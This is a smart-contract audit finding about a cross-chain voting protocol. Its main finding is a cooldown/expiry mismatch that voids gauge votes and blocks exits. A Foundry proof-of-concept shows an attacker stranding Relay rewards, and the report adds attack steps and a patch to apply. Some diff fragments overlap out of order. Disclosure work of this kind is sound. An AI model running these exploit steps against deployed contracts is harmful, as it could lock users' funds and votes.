DIFF

```
84 + Voter internal _voter;
85 + RootMessageOrchestrator internal _rootOrchestrator;
86 + LeafVoter internal _leafVoter;
87 + LeafMessageOrchestrator internal _leafOrchestrator;
88 + RootLocalAdapter internal _localAdapter;
89 +
90 + FactoryRegistry internal _factoryRegistry;
91 + PoolFactory internal _poolFactory;
92 + GaugeManager internal _gaugeManager;
93 + GaugeFactory internal _gaugeFactory;
94 + VotingRewardsFactory internal _votingRewardsFactory;
95 + GovernanceCreationModule internal _creationModule;
96 +
97 + Pool internal _pool;
98 + V2Gauge internal _gauge;
99 + VotingRewardsManager internal _vrm;
100 +
101 + Compounder internal _compounder;
102 + RelayFactory internal _relayFactory;
103 + MaxiRelay internal _relay;
104 + uint256 internal _relayTokenId;
105 + uint256 internal _soloTokenId;
106 +
107 + function setUp() public {
108 +     vm.warp(52 weeks);
109 +     _deployCore();
110 +     _deployAmmAndGauge();
111 +     _deployRelayStack();
112 + }
113 +
114 + /*//////////////////////////////////////
115 +
116 + POC
```

DIFF

```

116 + //////////////////////////////////////*/
117 +
118 + function test_POC_RelayRootWethRewardsPermanentlyStranded() external {
119 +     // -----
120 +     // SETUP: the Relay votes a WETH pool gauge on the root chain and the pool earns fees.
121 +     // -----
122 +     _allocateRelayToGauge();
123 +     _allocateSoloVoter();
124 +     _tradeToGenerateFees();
125 +
126 +     // The Relay and the ordinary voter are each owed a WETH-denominated share.
127 +     (uint256 _relayOwed0, uint256 _relayOwed1) = _vrm.earnedFees(_relayTokenId,
type(uint256).max);
128 +     (uint256 _soloOwed0, uint256 _soloOwed1) = _vrm.earnedFees(_soloTokenId,
type(uint256).max);
129 +     assertGt(_relayOwed0 + _relayOwed1, 0, 'relay accrued nothing');
130 +     assertGt(_soloOwed0 + _soloOwed1, 0, 'solo voter accrued nothing');
131 +
132 +     uint256 _wethInVrmBefore = _weth.balanceOf(address(_vrm)) + _pendingWethInPool();
133 +
134 +     // -----
135 +     // EXPLOIT: an unprivileged EOA triggers the Relay's permissionless root claim.
136 +     // -----
137 +     ILeafVoter.FeeClaim[] memory _feeClaims = new ILeafVoter.FeeClaim[](1);
138 +     _feeClaims[0] = ILeafVoter.FeeClaim({votingRewardsManager: address(_vrm),
maxCheckpoints: type(uint256).max});
139 +
140 +     vm.expectEmit(true, true, false, true, address(_leafVoter));
141 +     emit ILeafVoter.FeeClaimFailed(_relayTokenId, address(_vrm), type(uint256).max);
142 +     vm.prank(_attacker);
143 +     _relay.claimRewards({
144 +         _chainId: block.chainid,
145 +         _gasLimit: 0,
146 +         _feeClaims: _feeClaims,

```

DIFF

```

147 +     _incentiveClaims: new ILeafVoter.IncentiveClaim[](0)
148 + });
149 +
150 + // Repeat: the failure is not a transient condition.
151 + for (uint256 _i; _i < 3; ++_i) {
152 +     vm.warp(block.timestamp + 1 weeks);
153 +     vm.prank(_attacker);
154 +     _relay.claimRewards({
155 +         _chainId: block.chainid,
156 +         _gasLimit: 0,
157 +         _feeClaims: _feeClaims,
158 +         _incentiveClaims: new ILeafVoter.IncentiveClaim[](0)
159 +     });
160 + }
161 +
162 + // -----
163 + // DAMAGE: the Relay received nothing, in any denomination, and its claim cursor never
164 + // -----
165 + assertEq(address(_relay).balance, 0, 'relay received ETH');
166 + assertEq(_weth.balanceOf(address(_relay)), 0, 'relay received WETH');
167 + assertEq(_usdc.balanceOf(address(_relay)), 0, 'relay received the paired token');
168 +
169 + IVotingRewardsManager.ClaimState memory _state = _vrm.feeClaimState(_relayTokenId);
170 + assertEq(_state.lastGlobalCp, 0, 'relay fee cursor advanced');
171 + assertEq(_state.lastUserCp, 0, 'relay user cursor advanced');
172 +
173 + // The Relay's entitlement is unchanged and still sitting in the VotingRewardsManager.
174 + (uint256 _relayStillOwed0, uint256 _relayStillOwed1) = _vrm.earnedFees(_relayTokenId,
175 +     type(uint256).max);
176 +
177 + assertGe(_relayStillOwed0, _relayOwed0, 'relay entitlement shrank');
178 + assertGe(_relayStillOwed1, _relayOwed1, 'relay entitlement shrank');
179 +
180 + assertGe(_weth.balanceOf(address(_vrm)) + _pendingWethInPool(), _wethInVrmBefore, 'WETH
181 +     left the system');

```

DIFF

```

178 +
179 + // -----
180 + // CONTROL: the same VotingRewardsManager pays an ordinary EOA voter its WETH share as
    ETH,
181 + // so the loss is specific to the Relay's hardcoded, non-payable root recipient.
182 + // -----
183 + uint256 _soloEthBefore = _soloVoter.balance;
184 + uint256 _soloUsdcBefore = _usdc.balanceOf(_soloVoter);
185 +
186 + IVoter.ClaimRewardsParams[] memory _params = new IVoter.ClaimRewardsParams[](1);
187 + _params[0] = IVoter.ClaimRewardsParams({
188 +     chainId: block.chainid,
189 +     gasLimit: 0,
190 +     value: 0,
191 +     recipient: _soloVoter,
192 +     feeClaims: _feeClaims,
193 +     incentiveClaims: new ILeafVoter.IncentiveClaim[](0)
194 + });
195 + vm.prank(_soloVoter);
196 + _voter.claimRewards(_soloTokenId, _params, _soloVoter);
197 +
198 + assertGt(_soloVoter.balance - _soloEthBefore, 0, 'solo voter got no ETH');
199 + assertGt(_usdc.balanceOf(_soloVoter) - _soloUsdcBefore, 0, 'solo voter got no paired
    token');
200 +
201 + // Quantify the Relay's stranded position against the identical claim that just
    succeeded.
202 + emit log_named_decimal_uint('Relay WETH stranded (wei)', _relayStillOwed0, 18);
203 + emit log_named_decimal_uint('Relay USDC stranded (units)', _relayStillOwed1, 6);
204 + emit log_named_decimal_uint('Solo voter ETH received (wei)', _soloVoter.balance -
    _soloEthBefore, 18);
205 + }
206 +
207 + /*//////////////////////////////////////

```

DIFF

```

208 +                               SETUP HELPERS
209 + //////////////////////////////////////*/
210 +
211 + function _deployCore() internal {
212 +     _aero = new TestERC20('Aerodrome', 'AERO', 18);
213 +     _weth = new MockWETH();
214 +     _usdc = new TestERC20('USD Coin', 'USDC', 6);
215 +
216 +     uint256 _nonce = vm.getNonce(address(this));
217 +     address _predictedRootOrchestrator = _computeCreate(address(this), _nonce);
218 +     address _predictedVoter = _computeCreate(address(this), _nonce + 1);
219 +     address _predictedVe = _computeCreate(address(this), _nonce + 2);
220 +     address _predictedMinter = _computeCreate(address(this), _nonce + 3);
221 +
222 +     _rootOrchestrator = new RootMessageOrchestrator(_predictedVoter);
223 +     _voter = new Voter({
224 +         _orchestrator: _predictedRootOrchestrator,
225 +         _votingEscrow: _predictedVe,
226 +         _minter: _predictedMinter,
227 +         _token: address(_aero),
228 +         _adapterAuthority: _governance,
229 +         _governor: _governance,
230 +         _configAdmin: _governance,
231 +         _maxAllocationAge: _MAX_ALLOCATION_AGE
232 +     });
233 +     _ve = new VotingEscrow(
234 +         IVotingEscrow.Contracts({token: address(_aero), voter: _predictedVoter, artProxy:
makeAddr('ArtProxy')}),
235 +         IVotingEscrow.Admins({vpmAdmin: _governance, artProxyAdmin: _governance,
burnFeesAdmin: _governance})
236 +     );
237 +     _minter = new Minter(
238 +         IMinter.ConstructorParams({

```

DIFF

```
239 +         token: address(_aero),
240 +         voter: _predictedVoter,
241 +         splitter: makeAddr('Splitter'),
242 +         operator: _governance,
243 +         migrationOpen: uint48(VelodromeTimeLibrary.epochStart(block.timestamp) + 2 weeks),
244 +         initialBaseRate: 1e18,
245 +         maxBaseRateChangePips: 10_000,
246 +         baseRateUpdateCooldown: 1 weeks,
247 +         teamRate: 0,
248 +         maxBaseRateChangePipsCap: 50_000,
249 +         minBaseRateUpdateCooldown: 1 days,
250 +         maxBaseRateUpdateCooldown: 4 weeks,
251 +         maxBandFloorPips: 500_000,
252 +         maxBandCeilingPips: 1_000_000
253 +     })
254 + );
255 + assertEq(address(_rootOrchestrator), _predictedRootOrchestrator);
256 + assertEq(address(_voter), _predictedVoter);
257 + assertEq(address(_ve), _predictedVe);
258 + assertEq(address(_minter), _predictedMinter);
259 +
260 + _vpm = new VoterPaymentsModule(address(_ve), _governance);
261 + bytes32 _vpmRole = _ve.VPM_ROLE();
262 + vm.prank(_governance);
263 + _ve.grantRole(_vpmRole, address(_vpm));
264 +
265 + _factoryRegistry = new FactoryRegistry({_targetFactoryAdmin: _governance, _leafVoter:
address(0)});
266 +
267 + _nonce = vm.getNonce(address(this));
268 + address _predictedLeafOrchestrator = _computeCreate(address(this), _nonce);
269 + address _predictedLeafVoter = _computeCreate(address(this), _nonce + 1);
270 + address _predictedGaugeManager = _computeCreate(address(this), _nonce + 2);
```

DIFF

```
271 +
272 +     _leafOrchestrator = new LeafMessageOrchestrator(_predictedLeafVoter, block.chainid);
273 +     _leafVoter = new LeafVoter({
274 +         _governor: _governance,
275 +         _configAdmin: _governance,
276 +         _leafMessageOrchestrator: _predictedLeafOrchestrator,
277 +         _receiptToken: makeAddr('ReceiptToken'),
278 +         _factoryRegistry: address(_factoryRegistry),
279 +         _gaugeManager: _predictedGaugeManager,
280 +         _allocationCooldown: _ALLOCATION_COOLDOWN,
281 +         _maxGauges: _MAX_GAUGES,
282 +         _adapterAuthority: _governance,
283 +         _emissionsHandler: makeAddr('EmissionsHandler'),
284 +         _emergencyCouncil: _governance
285 +     });
286 +     _gaugeManager = new GaugeManager(address(_factoryRegistry), _predictedLeafVoter);
287 +     assertEq(address(_leafOrchestrator), _predictedLeafOrchestrator);
288 +     assertEq(address(_leafVoter), _predictedLeafVoter);
289 +     assertEq(address(_gaugeManager), _predictedGaugeManager);
290 +
291 +     _localAdapter = new RootLocalAdapter(address(_rootOrchestrator),
292         address(_leafOrchestrator));
293 +
294 +     vm.startPrank(_governance);
295 +     _rootOrchestrator.setAdapter(block.chainid, IMessageAdapter(address(_localAdapter)));
296 +     _leafOrchestrator.setAdapter(IMessageAdapter(address(_localAdapter)));
297 +     _factoryRegistry.setLeafVoter(address(_leafVoter));
298 +     _leafVoter.grantRole(Roles.FACTORY_REGISTRY_ADMIN_ROLE, _governance);
299 +     _leafVoter.grantRole(Roles.MODULE_ADMIN_ROLE, _governance);
300 +     IAccessControl(address(_voter)).grantRole(Roles.CHAIN_CONFIG_ROLE, _governance);
301 +     IAccessControl(address(_voter)).grantRole(Roles.RELAY_DEPLOYER_ROLE, _governance);
302 +     _voter.registerChain(block.chainid);
303 +     vm.stopPrank();
```

DIFF

```
303 + }
304 +
305 + function _deployAmmAndGauge() internal {
306 +     VolatilePool _poolImplementation = new VolatilePool();
307 +     _poolFactory = new VolatilePoolFactory({
308 +         _implementation: address(_poolImplementation),
309 +         _poolAdmin: _governance,
310 +         _pauser: _governance,
311 +         _feeManager: _governance,
312 +         _discountRegistryManager: _governance,
313 +         _poolTapeManager: _governance,
314 +         _factoryRegistry: address(_factoryRegistry)
315 +     });
316 +
317 +     _votingRewardsFactory = new VotingRewardsFactory({_voter: address(_leafVoter),
318 +         _wrappedNative: address(_weth)});
319 +
320 +     _gaugeFactory = new GaugeFactory(
321 +         IGaugeFactory.InitParams({
322 +             leafVoter: address(_leafVoter),
323 +             votingRewardsFactory: address(_votingRewardsFactory),
324 +             isStable: false,
325 +             capAdmin: _governance,
326 +             referralAdmin: _governance,
327 +             penaltyAdmin: _governance,
328 +             capOperator: _governance,
329 +             defaultCap: type(uint128).max,
330 +             operatorMinCap: 1,
331 +             operatorMaxCap: type(uint128).max,
332 +             maxMinStakeBlocks: 100
333 +         })
334 +     );
335 +
336 +     vm.prank(_governance);
```

DIFF

```

335 +   _factoryRegistry.registerFactories({
336 +       _gaugeFactory: address(_gaugeFactory), _targetFactory: address(_poolFactory)
337 +   });
338 +
339 +   _pool = Pool(_poolFactory.createPool(address(_weth), address(_usdc)));
340 +
341 +   _creationModule = new GovernanceCreationModule(address(_leafVoter));
342 +   vm.startPrank(_governance);
343 +   _gaugeManager.registerModule(address(_creationModule));
344 +   _creationModule.createGauge({
345 +       _target: address(_pool), _gaugeFactory: address(_gaugeFactory), _factoryData: '',
346 +       _activate: true
347 +   });
348 +   vm.stopPrank();
349 +
350 +   _gauge = V2Gauge(_factoryRegistry.targetToGauge(address(_pool)));
351 +   _vrm = VotingRewardsManager(payable(_factoryRegistry.gaugeToRewards(address(_gauge))));
352 +   assertEq(_vrm.wrappedNative(), address(_weth));
353 + }
354 +
355 + function _deployRelayStack() internal {
356 +     RelayToken _yieldImplementation = new RelayToken();
357 +     RelayTokenVotes _principalImplementation = new RelayTokenVotes();
358 +     RelayVoteAdapter _voteAdapter = new RelayVoteAdapter();
359 +     MaxiRelay _maxiImplementation =
360 +         new MaxiRelay(_ve, _voter, address(_principalImplementation),
361 +             address(_yieldImplementation));
362 +     ProtocolRelay _protocolImplementation =
363 +         new ProtocolRelay(_ve, _voter, address(_principalImplementation),
364 +             address(_yieldImplementation));
365 +
366 +     _compounder = new Compounder(IFactoryRegistry(address(_factoryRegistry)));
367 +     _relayFactory = new RelayFactory({
368 +         _votingEscrow: _ve,

```

DIFF

```
366 +     _voter: address(_voter),
367 +     _maxiImplementation: address(_maxiImplementation),
368 +     _protocolImplementation: address(_protocolImplementation),
369 +     _vpm: IVoterPaymentsModule(address(_vpm)),
370 +     _governor: IGovernor(makeAddr('Governor')),
371 +     _voteAdapter: IRelayVoteAdapter(address(_voteAdapter))
372 +   });
373 +
374 +   _aero.mint(_governance, _relayStakeAmount());
375 +   vm.startPrank(_governance);
376 +   _aero.approve(address(_relayFactory), _relayStakeAmount());
377 +   (address _relayAddress, uint256 _tokenId) = _relayFactory.createMaxiRelay(
378 +     IRelayFactory.CreateParams({
379 +       admin: _governance,
380 +       keeper: _relayKeeper,
381 +       voter: _relayKeeper,
382 +       compounder: address(_compounder),
383 +       converter: address(0),
384 +       bootstrapOwner: _governance,
385 +       rewardToken: address(_weth),
386 +       entrypointVetoer: address(0),
387 +       seedAmount: uint128(_relayStakeAmount()),
388 +       isPermanent: true,
389 +       ytTransferable: true,
390 +       stakingWeeks: 0,
391 +       salt: bytes32(uint256(1)),
392 +       config: IRelay.RelayConfig({
393 +         tokenId: 0,
394 +         minDeposit: 1e18,
395 +         keeperWindow: 1 days,
396 +         minWithdrawal: 1e18,
397 +         entrypointTimelock: 1 days,
```

DIFF

```

398 +         lockWeeks: 0,
399 +         evacuationWindow: 1 days,
400 +         name: 'Relay',
401 +         symbol: 'RLY'
402 +     })
403 + })
404 + );
405 + vm.stopPrank();
406 +
407 + _relay = MaxiRelay(payable(_relayAddress));
408 + _relayTokenId = _tokenId;
409 + assertEq(_ve.ownerOf(_relayTokenId), address(_relay));
410 + // The Relay holds no payable entry point: it can never take custody of native value.
411 + assertEq(address(_relay).code.length, 45, 'relay is not a minimal proxy');
412 + }
413 +
414 + function _relayStakeAmount() internal pure returns (uint256) {
415 +     return 1000 * TOKEN_1;
416 + }
417 +
418 + /*////////////////////////////////////
419 +
420 +             ACTION HELPERS
421 +
422 + //////////////////////////////////*/
423 +
424 + function _gaugeDispatch(uint128 _amount)
425 +     internal
426 +     view
427 +     returns (IVoter.ChainAllocationDispatch[] memory _chains,
428 +             IVoter.GaugeAllocationDispatch[] memory _gauges)
429 + {
430 +     _chains = new IVoter.ChainAllocationDispatch[](1);
431 +     _chains[0] =

```

DIFF

```
429 +     IVoter.ChainAllocationDispatch({chainId: block.chainid, delta: _amount, gasLimit: 0,
    value: 0});
430 +
431 +     IVoterCommon.GaugeAllocation[] memory _allocations = new IVoterCommon.GaugeAllocation[]
    (1);
432 +     _allocations[0] = IVoterCommon.GaugeAllocation({gauge: address(_gauge), allocated:
    _amount, data: ''});
433 +
434 +     _gauges = new IVoter.GaugeAllocationDispatch[](1);
435 +     _gauges[0] =
436 +     IVoter.GaugeAllocationDispatch({chainId: block.chainid, gasLimit: 0, value: 0, gauges:
    _allocations});
437 + }
438 +
439 + /// @dev The Relay's own VOTER_ROLE keeper directing pooled weight at a WETH-paired root
    gauge. This is
440 + ///     the Relay operating normally, not part of the exploit.
441 + function _allocateRelayToGauge() internal {
442 +     (IVoter.ChainAllocationDispatch[] memory _chains, IVoter.GaugeAllocationDispatch[]
    memory _gauges) =
443 +     _gaugeDispatch(uint128(_relayStakeAmount()));
444 +     vm.prank(_relayKeeper);
445 +     _relay.allocate(_chains, _gauges, _relayKeeper);
446 + }
447 +
448 + function _allocateSoloVoter() internal {
449 +     uint128 _amount = uint128(_relayStakeAmount());
450 +     _aero.mint(_soloVoter, _amount);
451 +     vm.startPrank(_soloVoter);
452 +     _aero.approve(address(_ve), _amount);
453 +     _soloTokenId = _ve.createStake({_value: _amount, _stakingWeeks: 0, _isPermanent: true});
454 +     (IVoter.ChainAllocationDispatch[] memory _chains, IVoter.GaugeAllocationDispatch[]
    memory _gauges) =
455 +     _gaugeDispatch(_amount);
456 +     _voter.allocate(_soloTokenId, _chains, _gauges, _soloVoter);
```

DIFF

```
457 +     vm.stopPrank();
458 + }
459 +
460 + /// @dev Real liquidity, real staking, real swaps: the gauge accrues WETH and USDC pool
    fees, and a
461 + ///     permissionless 'advanceGlobalPoints' notifies them into the VotingRewardsManager.
462 + function _tradeToGenerateFees() internal {
463 +     uint256 _wethSeed = 100 * TOKEN_1;
464 +     uint256 _usdcSeed = 300_000 * 1e6;
465 +
466 +     vm.deal(_lp, _wethSeed);
467 +     vm.prank(_lp);
468 +     _weth.deposit{value: _wethSeed}();
469 +     _usdc.mint(_lp, _usdcSeed);
470 +
471 +     vm.startPrank(_lp);
472 +     _weth.transfer(address(_pool), _wethSeed);
473 +     _usdc.transfer(address(_pool), _usdcSeed);
474 +     uint256 _liquidity = _pool.mint(_lp);
475 +     _pool.approve(address(_gauge), _liquidity);
476 +     _gauge.deposit(_liquidity);
477 +     vm.stopPrank();
478 +
479 +     address _trader = makeAddr('Trader');
480 +     for (uint256 _i; _i < 8; ++_i) {
481 +         _swap(_trader, address(_usdc), 20_000 * 1e6);
482 +         _swap(_trader, address(_weth), 5 * TOKEN_1);
483 +     }
484 +
485 +     // Close the open interval so the accrued fees are priced into the global reward
    history.
486 +     vm.warp(block.timestamp + 1 weeks);
487 +     _vrm.advanceGlobalPoints();
```

DIFF

```
488 + }
489 +
490 + function _swap(address _trader, address _tokenIn, uint256 _amountIn) internal {
491 +     if (_tokenIn == address(_weth)) {
492 +         vm.deal(_trader, _amountIn);
493 +         vm.prank(_trader);
494 +         _weth.deposit{value: _amountIn}();
495 +     } else {
496 +         _usdc.mint(_trader, _amountIn);
497 +     }
498 +
499 +     (uint256 _reserve0, uint256 _reserve1) = _pool.getReserves();
500 +     uint256 _amountOut = _pool.getAmountOut(_amountIn, _tokenIn, _reserve0, _reserve1);
501 +
502 +     vm.startPrank(_trader);
503 +     TestERC20(_tokenIn).transfer(address(_pool), _amountIn);
504 +     if (_tokenIn == _pool.token0()) {
505 +         _pool.swap(0, _amountOut, _trader, '');
506 +     } else {
507 +         _pool.swap(_amountOut, 0, _trader, '');
508 +     }
509 +     vm.stopPrank();
510 + }
511 +
512 + function _pendingWethInPool() internal view returns (uint256) {
513 +     (uint256 _pending0, uint256 _pending1) = _pool.pendingFees(address(_gauge));
514 +     return _pool.token0() == address(_weth) ? _pending0 : _pending1;
515 + }
516 +}
```

A gauge dispatch whose leaf cooldown outlasts its root-stamped expiry is permanently undeliverable, silently voiding the vote and its deallocation return

Location	—
----------	---

1. Summary

`LeafVoter.applyGaugeAllocations` gates every inbound gauge vote on two deadlines set on two different chains. The root stamps an absolute expiry at dispatch (`Voter.sol:1798`), and the leaf enforces a per-token `allocationCooldown`. The expiry check sits at `LeafVoter.sol:415`, five lines above the cooldown check at `:420`, and the cooldown's documented recovery is to let the transport redeliver once the cooldown elapses. Whenever the remaining cooldown outlasts the remaining age, that recovery is unreachable: the message reverts `CooldownActive` until the deadline, then `AllocationExpired` forever after. The two constants are never compared and cannot be — they live on different chains — and the root performs no cooldown gating at all, so it accepts and charges for a dispatch that can never apply. The user's transaction succeeds, the fees and any `deallocationReturnCost` are consumed, the vote never lands, the `DEALLOC_GAUGE` return is never sent, and nothing on either chain records the failure.

2. Finding Description

Let $L = \text{tokenStates}[\text{tokenId}].\text{lastAllocated}$ on the leaf, $C = \text{allocationCooldown}$, $R = \text{accumulatedCooldownReduction}[\text{tokenId}]$, $A = \text{maxAllocationAge}$ on the root, $T = \text{root dispatch timestamp}$.

The message applies only inside $[L + C - R, T + A]$. That window is empty exactly when $L + C - R > T + A$, which with $R = 0$ reduces to $T - L < C - A$.

R is zero by default and provably so: `maxAccumulatedCooldownReduction` (`LeafVoter.sol:147`) is never assigned outside its own setter at `:647`, and `applyCooldownReduction` clamps every grant to it (`:450-458`). `ILeafVoter.sol:599` states it plainly — "Zero is the default and disables reductions."

More generally, for a re-vote issued $d = T - L$ seconds after the token's last applied leaf vote, the usable delivery window is $A - \max(0, C - d)$ seconds. It is the full A once $d \geq C$, shrinks linearly through $C - A \leq d < C$, and is zero for $d \leq C - A$. $C == A$ is therefore not safe either — a re-vote 60 seconds after the previous one gets a 60-second window opening 59 minutes after dispatch, which a backoff-driven relayer is not obliged to hit. $C > A$ is the guaranteed-fatal special case.

$C > A$ is not a perverse configuration. `maxAllocationAge` is the wall-clock governance must wait out before resuming a suspended chain (`IVoter.sol:694`), so it wants to be short; `allocationCooldown` is an anti-spam

floor on vote changes (`ILeafVoter.sol:591`), so it wants to be long. The repo's own E2E fixture sets both in one place: `C = 1 days, A = 1 hours` (`V3/test/E2E/ClaimRewardsFlow.t.sol:26-27`). That is a 23-hour dead band covering 95.8% of the cooldown period. Neither setter constrains the other — `setMaxAllocationAge` (`Voter.sol:603-607`) rejects only zero, and `setAllocationCooldown` (`LeafVoter.sol:637-640`) validates nothing at all.

The root cannot pre-check the condition. `allocationCooldown` and `lastAllocated` are leaf storage on a remote chain, no leaf config is ever shipped to root, and `Voter` has no cooldown gate anywhere in its dispatch path — it writes `tokenStates[tokenId].lastAllocated` at `Voter.sol:1023` but never reads it.

Two natspec blocks in the same codebase state mutually exclusive remedies for the same message and are never reconciled:

- `ILeafVoter.sol:466-467` — reverts `CooldownActive` "so the transport redelivers later", and `AllocationExpired` past `_expiry`. Both properties, one sentence.
- `ILeafVoter.sol:330-331` — `AllocationExpired` means "root must re-dispatch."

`LeafVoter.sol:417-418` and `LeafMessageOrchestrator.sol:231-233` repeat the redelivery promise. Nothing chooses between them.

`LeafMessageOrchestrator.route` carries no try/catch (`:116-119`), so the revert unwinds `noncesUsed`, `lastTokenIdVoteNonce`, and — because Hyperlane's Mailbox writes `deliveries[_id]` before invoking the recipient (`Mailbox.sol:225-245`) — the delivery marker as well. The message is never marked delivered. It stays in this state until some later `AllocateGauge` for the same token lands, at which point `LeafMessageOrchestrator.sol:244-246` returns early and the dead message finally "delivers" as a no-op that applies nothing.

The failure is unsignalled. `Voter.sol:855` emits `GaugesAllocated` before the send, so root reports success on a doomed dispatch. The leaf's `MessageReceived` (`LeafMessageOrchestrator.sol:140`) is inside the reverted frame.

What the caller loses. `RootMessageOrchestrator.dispatch` subtracts `deallocationReturnCost[chainId]` from the forwarded value and keeps it as raw balance (`:66-68`). There is no per-dispatch accounting, no event, and no reclaim path other than `withdrawNative` under `NATIVE_WITHDRAWER_ROLE` (`:143-151`). The leaf's pre-funding pool is never drawn, because `_dispatchDeallocation` at `LeafVoter.sol:1344` is the only sender of a `DEALLOC_GAUGE` return and the dead message never reaches it. The protocol is net up on a return it will never front.

What stays blocked. During normal operation a gauge allocation carrying the sentinel is the only way to move voting power off a leaf — `emergencyDeallocate` requires the chain to be `Suspended` and separately enabled (`Voter.sol:521-524`), and `applyChainAllocation` is additive-only. While the exit is denied, `VotingEscrow.withdraw` (`:296`) and `downgradeFromPermanentStake` (`:348`) revert at `_requireFullyOnChain0` (`:936-938`). Note the failure denies the exit rather than creating the booking: the power was already on the

leaf. The lockout lasts until a re-dispatch made at or after $L + C - A$ lands.

Third parties. `RelayBase.close()` is permissionless for a non-KEEPER once `QueueLib.requireUncoveredHead` passes (`RelayBase.sol:370-379`, `QueueLib.sol:446-468`), and `RelayBase.evacuate()` then has no role check at all (`:382-387`). It calls `AllocationLib.evacuate(:116-130)`, which builds a lone `DEALLOC_GAUGE` list and goes straight into this gate. So the protocol's designed permissionless rescue for a wedged FIFO withdrawal queue is dead on arrival for up to $C - A$ after the Relay's last gauge allocation on that chain, and every attempt burns the rescuer's ETH while queued depositors stay stuck behind the uncovered head (`QueueLib.sol:400`, `RelayBase.sol:712`). A keeper who calls `RelayBase.allocate` immediately before closure re-anchors L and buys that full delay once per closure.

Delivery ordering. `Mailbox.process` is permissionless. With two in-flight votes for one token, nonces $n1 < n2$ dispatched close together: deliver $n2$ first and it applies while $n1$ becomes a harmless no-op; deliver $n1$ first and it sets L , after which $n2$ needs $L + C \leq T2 + A$ — false for any meaningful $C - A$, so $n2$ is destroyed and the stale vote sticks. An outsider picks which of the user's two votes survives, and the loser is gone permanently.

Test coverage. The two gates are tested only in mutual isolation. `applyGaugeAllocations.t.sol:144-173` passes `expiry = block.timestamp` so the expiry gate cannot fire; `:1037-1047` leaves `lastAllocated` at zero so the cooldown gate cannot fire. `LeafMessageOrchestrator.t.sol:969-1012` asserts "it should revert so the transport redelivers the message" — the exact recovery the expiry gate makes unreachable.

3. Attack Steps

1. Governance sets `allocationCooldown = C` on the leaf and `maxAllocationAge = A` on the root, in separate transactions on separate chains, with $C > A$. Neither setter can observe the other.
2. A veNFT owner votes gauges on leaf chain X. The message applies and writes `lastAllocated = L` (`LeafVoter.sol:437`).
3. At time T with $T - L < C - A$, the owner calls `Voter.allocateGauges(tokenId, X, [DEALLOC_GAUGE: booking], gasLimit, refundRecipient)` to exit. Root validates, settles, keeps `deallocationReturnCost[X]`, stamps `expiry = T + A`, dispatches, and emits `GaugesAllocated`. The transaction succeeds.
4. Every delivery before $T + A$ reverts `CooldownActive` at `LeafVoter.sol:851`, because the cooldown cannot elapse until $L + C$, which is after $T + A$ by construction.
5. Every delivery after $T + A$ reverts `AllocationExpired` at `LeafVoter.sol:415`.
6. The revert rolls back `noncesUsed`, `lastTokenIdVoteNonce` and Hyperlane's delivery marker, so the message stays pending and undeliverable rather than failing visibly.
7. The fees and the kept return cost are gone, the vote never applies, and no `DEALLOC_GAUGE` return is dispatched. `VotingEscrow.withdraw` reverts at `_requireFullyOnChain0`. The owner has no signal and

must re-dispatch at or after $L + C - A$, paying a second full fee.

4. Likelihood (high)

The trigger is an unprivileged user re-voting or exiting a leaf sooner than the cooldown allows, which is ordinary usage given that weekly epochs were removed in favour of dynamic allocation. The only precondition is `allocationCooldown > maxAllocationAge`, which is what both parameters' own purposes push toward, is unchecked by either setter, and is the configuration the repo's own E2E fixture uses.

5. Impact (medium)

Each affected dispatch is a silent, total loss of the operation plus non-refundable fees, and while a stranded exit persists the holder cannot reach their principal and a Relay's permissionless withdrawal rescue is inert for uninvolved depositors. It stops short of fund loss because `lastAllocated` only advances on an applied vote, so the dead band always closes within $C - A$ and a later re-dispatch succeeds normally.

6. Mitigation

Make the two gates agree. A cooldown bounce is a deferral, not a death sentence, so a message blocked only by `CooldownActive` must not be allowed to expire while it waits on a condition the protocol itself imposed. Either evaluate the cooldown before the expiry and treat a cooldown-blocked message as still deliverable, or exempt such a message from `AllocationExpired`. Alternatively make the cooldown a graceful skip on the bridged path — apply the vote's non-cooldown effects and refuse only what the cooldown is meant to rate-limit.

Close the cross-chain hazard. Ship `allocationCooldown` to the root as part of the leaf's registered chain configuration and reject `setMaxAllocationAge / setAllocationCooldown` combinations where the age does not exceed the cooldown, so an unsatisfiable window cannot be configured. Failing that, have `_prepareGaugeAllocation` refuse to stamp an expiry shorter than the destination's known cooldown, so the dispatch fails loudly and refundably on root instead of being charged for and discarded on the leaf. Note that even a satisfiable window can be a few seconds wide, so the margin needs to exceed realistic relayer retry latency, not merely be positive.

Carve out the exit. `_consumeCooldownReduction` runs at `LeafVoter.sol:420` before the list is inspected, so a lone `DEALLOC_GAUGE` exit is rate-limited identically to a live re-vote. Every other gate in the pipeline carves exits out for exactly this reason — `Voter.sol:828-832`, `LeafVoter.sol:538-541`, `Voter.sol:1689-1691`. The cooldown should too.

Do not retain the fee for unperformed work. `deallocationReturnCost` is kept at dispatch on the assumption the leaf will front a return. Track it against the dispatch that paid it and make it reclaimable when no return is produced.

Note that `reduceCooldown` is not a sufficient mitigation, despite `IVoter.sol:648` naming this exact scenario ("a

holder deep in cooldown can still land the exit vote before it expires"). It is callable only by a whitelisted VPM, not by the holder, and its grant clamps to a cap that is zero unless governance separately opts in.

7. Proof of Concept

Deploys the full production stack on both sides with no mocks — including Hyperlane's real Mailbox and InterchainGasPaymaster — sweeps every timestamp from dispatch past the moment the cooldown elapses asserting the exact revert selector at each, and then asserts the fee loss, the unmoved leaf state, the blocked withdraw, and the identical call succeeding 23 hours later.

Save the diff below as cooldown-expiry-poc.patch in the metadex repo root, then:

```
1  git apply cooldown-expiry-poc.patch
2  forge test --match-test test_POC_CooldownBounceOutlivesRootStampedExpiry -vv
```

DIFF

```
1  diff --git a/V3/test/E2E/ClaimRewardsFlow.t.sol b/V3/test/E2E/ClaimRewardsFlow.t.sol
2  index 1b2218c..864891c 100644
3  --- a/V3/test/E2E/ClaimRewardsFlow.t.sol
4  +++ b/V3/test/E2E/ClaimRewardsFlow.t.sol
5  @@ -1,23 +1,40 @@
6  // SPDX-License-Identifier: BUSL-1.1
7  pragma solidity 0.8.30;
8
9  +import {Mailbox} from '@hyperlane/contracts/Mailbox.sol';
10 +import {TestInterchainGasPaymaster} from '@hyperlane/contracts/test/
    TestInterchainGasPaymaster.sol';
11 +import {TestIsm} from '@hyperlane/contracts/test/TestIsm.sol';
12 +import {TestPostDispatchHook} from '@hyperlane/contracts/test/TestPostDispatchHook.sol';
13 import {IAccessControl} from '@openzeppelin/contracts/access/IAccessControl.sol';
14
15 +import {Vm} from 'forge-std/Test.sol';
16 +
17 import {TestHelpers} from 'V3-test/Utils/TestHelpers.sol';
18
